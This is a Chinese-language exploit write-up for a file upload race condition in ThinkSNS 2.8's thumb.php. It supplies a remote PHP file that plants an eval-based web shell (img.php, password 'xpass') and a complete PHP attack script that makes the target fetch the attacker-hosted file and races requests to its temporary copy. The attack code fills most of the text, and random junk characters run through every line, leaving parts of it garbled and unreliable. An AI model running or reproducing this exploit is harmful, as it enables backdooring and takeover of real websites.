漏洞版本
7 @) E, V+ J0 T6 B$ p0 S存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)3 X5 h) S |* n' u
漏洞文件 F3 P* `. j/ e3 B$ t/ [
存在漏洞的文件为:thumb.php3 n7 j. [# B& a/ j& n; D
作者:韦鲲鹏
* |" b6 h1 }9 g% @9 D8 ]1、 准备如下PHP文件并上传到服务器(自己的)。
9 @* q a# g: J7 [文件内容如下:
5 g0 t& G, J- r: h+ P<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
5 {% C; Y0 N, ]2、 计算出临时的文件名:
! j( _+ ^# V% E! d) P" a* B# U/ S这里我们可以看文件的99行(刚刚是不是没注意呀!)。
' k* }8 _# P5 t' t7 i
& l! k# d7 G0 }& t. Y5 e( R3、 上传临时文件。
* ?7 V2 p, u! S/ I' E* n0 | U4、 访问临时文件。- ]; v- n w: M0 q! k
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)' }+ X$ k8 V7 s) j
Exploit文件内容如下:(这个我就不详细解释了)
3 H( q/ |! K% u, ~; R<?php
* `5 ^/ A8 k' A- cerror_reporting(0);; ]# O+ Q$ q; h- [- L% J
set_time_limit(0);1 |/ S! Q/ v' r! R6 K
ini_set(“default_socket_timeout”, 5);8 A! z' B- Q1 E
function http_send($host, $port, $headers) {" j4 C- b3 G' x9 `6 T
$fp = fsockopen($host, $port);+ o- e' |1 R1 u0 |9 Q5 @3 @
if (!$fp) die(‘Connection -> fail’);
A! X- v5 J$ {1 rfputs($fp, $headers);/ b+ V7 r+ A7 d9 Z6 [& k; P
return $fp;
' _3 V: @) i4 f}5 o4 [8 g5 }9 K* g3 w
function http_recv($fp) {4 M: T8 g; z8 a. n) X) v8 T
$ret=”";
$ q6 C/ I9 w+ o+ `9 z" lwhile (!feof($fp))
4 K& Y3 p8 Q4 S# F1 `- e$ret.= fgets($fp, 1024);
' ~. I0 A3 k5 K: B$ x* f6 Q+ Sfclose($fp);# Q$ S$ b2 @( I- _$ h# P3 r1 o
return $ret;
2 C& @0 K" {/ h5 D# X6 V2 D5 ~( I$ Q}
& L# X, b/ J. N2 l! o n% X. Vprint “\n# ThinkSns Arbitrary File Upload #\n”;
$ X! O+ s b: N5 m& u1 \- P8 u& n( J8 iprint “# Discovered by 韦鲲鹏 #\n\n”;
) F1 `. I* l& e( n6 _# r% Wif ($argc < 4) {
! a0 U& r' s; h+ _7 bprint “Usage: php <host> <path> <romote_url>\n”;& V& r E) [% @" x. z# O( T
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
- l! R" p2 k) h: wdie();
7 {$ ]1 T" @5 d" ]}# `0 |6 ^# s7 {, I+ A7 m
$host = $argv[1];
* k' M2 B# ^- t" r% ^1 y2 U, w5 A$path = $argv[2];
" k+ v4 ^/ X1 k7 `! O7 y$url = $argv[3]; j" `* T1 L0 G; N
$i=0;$ A! _7 Y" C$ l) h! P
//上传数据包
* ~9 d, V( E/ L2 p4 F8 l' R$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;+ I" x- P$ A/ z. z* o- [( l% Y
$headers_up .= “Host: “.$host.”\r\n”;
8 ^3 D% L& W& Q3 H5 x$headers_up .= “Connection: close\r\n\r\n”;
6 _1 _& `8 m+ @0 `1 hecho $headers_up;
! h3 P0 T s- }' j//临时文件访问数据包
/ A4 B9 V( p" j/ k7 E# |9 N$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ C: o8 }+ d, F8 H( ], G3 s$headers .= “Host: “.$host.”\r\n”;
g) p0 O4 N& K* U' P+ U$ Y$headers .= “Connection: close\r\n\r\n”;5 W1 V3 ?2 _- W8 y2 C/ U- s
echo $headers;$ N8 Q8 ^# w. b3 l
while(++$i<10) { X5 J5 j; X9 Y; g* K! u
fclose(http_send($host, 80, $headers));
4 v9 @/ K; G1 ~8 Z% L}
" ]2 j: V# h8 sfclose(http_send($host, 80, $headers_up));
# _% v/ ]' X. f" }0 A6 n& Qwhile(++$i<50) {
9 {8 E) d0 Q: afclose(http_send($host, 80, $headers));
" r! }# y) X: Q4 `3 D( \1 G}
$ S% }7 o- a) a( |$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;- J1 K: P8 r; u8 Z! M- {* t5 M
$headers .= “Host: “.$host.”\r\n”;
7 I3 H1 _+ X# ]7 Z1 }$headers .= “Connection: close\r\n\r\n”;
- r" u2 V8 g X A4 H1 a3 B t$res=http_recv(http_send($host, 80, $headers));
p a$ r2 Q, z! Z9 b1 n% m- D8 bif(preg_match(‘/200 OK/’,$res)) {
g% {- x Q$ \8 {+ Lprint “Success!\n\n”;
% s+ T7 r1 ?4 B/ v' }; t! y} else {
1 D. e+ M3 S' C2 k' O5 Uprint “Fail!\n\n”;2 i8 e8 f8 Z$ E
}/ a7 F0 A5 k+ R. w
?>
/ C5 T- O& H! H# p' K) v |